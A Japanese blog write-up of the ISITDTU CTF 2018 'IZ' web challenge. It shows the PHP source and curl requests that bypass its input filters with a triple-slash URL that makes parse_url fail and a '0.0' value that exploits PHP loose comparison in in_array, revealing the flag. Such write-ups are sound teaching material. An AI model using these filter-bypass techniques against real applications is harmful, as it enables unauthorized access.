こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

ISITDTU CTF 2018 - IZ

問題文

It's just PHP !!!
http://35.185.178.212/

f:id:graneed:20180728140919p:plain

<?php 

include "config.php"; 
$number1 = rand(1,100000000000000); 
$number2 = rand(1,100000000000); 
$number3 = rand(1,100000000); 
$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY); 
if (preg_match("/_/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/0/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/\w+/i", $url))  
{ 
    die("..."); 
}     
if(isset($_GET['_']) && !empty($_GET['_'])) 
{ 
    $control = $_GET['_'];         
    if(!in_array($control, array(0,$number1))) 
    { 
        die("fail1"); 
    } 
    if(!in_array($control, array(0,$number2))) 
    { 
        die("fail2"); 
    } 
    if(!in_array($control, array(0,$number3))) 
    { 
        die("fail3"); 
    } 
    echo $flag; 
} 
show_source(__FILE__); 




?>

writeup

ソースコードを眺める。
URLおよび_パラメータのフィルタリング機能を全て突破すればフラグゲットできるようだ。

なお、単純に以下コマンドを実行すると、ソースコードどおり弾かれた。

root@kali:~# curl "http://35.185.178.212/?_=0"
...

Stage1

まずは以下のフィルタリングを回避する。

$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY); 
if (preg_match("/_/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/0/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/\w+/i", $url))  
{ 
    die("..."); 
}   

parse_urlのマニュアルの注意を見る。
PHP: parse_url - Manual

  • この関数は相対 URL では動作しません。
  • parse_url() は URL をパースするための関数であり、 URI をパースするものではありません。しかし、PHP後方互換性を満たすため、 例外として file:// スキームについては 3 重スラッシュ(file:///...) が認められています。他のスキームにおいては、これは無効な形式となります。

parse_urlはhttp://から始まるような絶対URLをパースするための関数だが、$_SERVER['REQUEST_URI']は、/から始まるパスを返却する。ここの不整合を利用するのだろう。

何か方法がないかWeb上を調べていると、以下の記事を発見する。
skysec.top

parse_url///x.php?key=valueを渡すと、Falseを返却するとのこと。
実際に試してみる。//////の3種類を試してみる。

php > var_dump(parse_url("/x.php?key=value"));
array(2) {
  ["path"]=>
  string(6) "/x.php"
  ["query"]=>
  string(9) "key=value"
}
php > var_dump(parse_url("//x.php?key=value"));
array(2) {
  ["host"]=>
  string(5) "x.php"
  ["query"]=>
  string(9) "key=value"
}
php > var_dump(parse_url("///x.php?key=value"));
bool(false)

本当だった。

早速、問題サーバに対して試してみる。

root@kali:~# curl "http://35.185.178.212///?_=0"
<code><span style="color: #000000">
(snip)
</span>
</code>

_パラメータがクエリ文字列に存在するにも関わらず、if (preg_match("/_/i", $url))をバイパスできた。

Stage2

$number1 = rand(1,100000000000000); 
$number2 = rand(1,100000000000); 
$number3 = rand(1,100000000); 

(snip)

if(isset($_GET['_']) && !empty($_GET['_'])) 
{ 
    $control = $_GET['_'];         
    if(!in_array($control, array(0,$number1))) 
    { 
        die("fail1"); 
    } 
    if(!in_array($control, array(0,$number2))) 
    { 
        die("fail2"); 
    } 
    if(!in_array($control, array(0,$number3))) 
    { 
        die("fail3"); 
    } 
    echo $flag; 
} 

3つのin_arrayのフィルタリングを突破すればよい。0または乱数のどちらかにマッチすればよい条件となっている。3種類の乱数とのマッチは非現実的であるため、0とマッチさせる方法を考える。

単純に_パラメータに0をセットすると、!empty($_GET['_'])に弾かれる。

in_arrayの仕様を確認する。以下の記事を参考にさせて頂いた。
qiita.com

phpの柔軟さのおかげで、整数と小数がマッチしてしまうようだ。
0.0であれば、!empty($_GET['_'])に弾かれない。

問題サーバに対して試してみる。

root@kali:~# curl "http://35.185.178.212///?_=0.0"
ISITDTU{php_bad_language}<code><span style="color: #000000">
(snip)
</span>
</code>

フラグゲット。